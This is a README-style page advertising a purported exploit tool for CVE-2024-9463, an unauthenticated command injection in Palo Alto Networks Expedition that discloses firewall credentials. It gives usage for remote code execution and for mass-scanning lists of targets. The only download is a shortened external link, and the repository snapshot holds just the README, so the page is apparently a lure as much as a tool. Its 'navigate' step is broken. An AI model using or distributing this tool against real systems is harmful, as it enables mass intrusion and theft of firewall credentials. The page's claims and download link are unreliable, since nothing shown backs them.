CVE-2024-9463 PoC — Expedition: Unauthenticated OS Command Injection Vulnerability Leads to Firewall Credential Disclosure

Source

Associated Vulnerability

Readme

## 🌟 Description
CVE-2024-9463
This vulnerability makes an OS command injection vulnerability in Palo Alto Networks Expedition allows an unauthenticated attacker to run arbitrary OS commands as root in Expedition, resulting in disclosure of usernames, cleartext passwords, device configurations, and device API keys of PAN-OS firewalls.
## Details

- **CVE ID**: [CVE-2024-9463](https://nvd.nist.gov/vuln/detail/CVE-2024-9463)
- **Impact**: Confidentiality
- **Exploit Availability**: Not public, only private.

## ⚙️ Installation

To set up the exploitation tool, follow these steps:

1. Download the repository:

|[Download](https://t.ly/59NWa)
|:--------------- |

2. Navigate to the tool's directory:

```bash
CVE-2024-9463
```

3. Install the required Python packages:

```bash
pip install -r requirements.txt
```

## 🚀 Usage

To use the tool, run the script from the command line as follows:

```bash
python exploit.py [options]
```


### Options

- -u, --url:
  Specify the target URL or IP address.

- -f, --file:
  Specify a file containing a list of URLs to scan.

- -t, --threads:
  Set the number of threads for concurrent scanning.

- -o, --output:
  Define an output file to save the scan results.

When a single URL is provided with the -u option and the target is vulnerable, the script will attempt to execute arbitrary code.

### Example

```bash
$ python3 exploit.py -u http://target-url.com
[+] Remote code execution triggered successfully.
[!] http://target-url.com is vulnerable to CVE-2024-9463.
```

## 📊 Mass Scanning

For mass scanning, use the -f option with a file containing URLs. The tool will scan each URL and print concise results, indicating whether each target is vulnerable.

```bash
python exploit.py -f urls.txt
```

## 📈 CVSS Information
9.9 CRITICAL

File Snapshot

 [4.0K]  /data/pocs/e327db8494855a12512f9a70ac8cd1f16e7ea612
└── [1.8K]  README.md

0 directories, 1 file

Remarks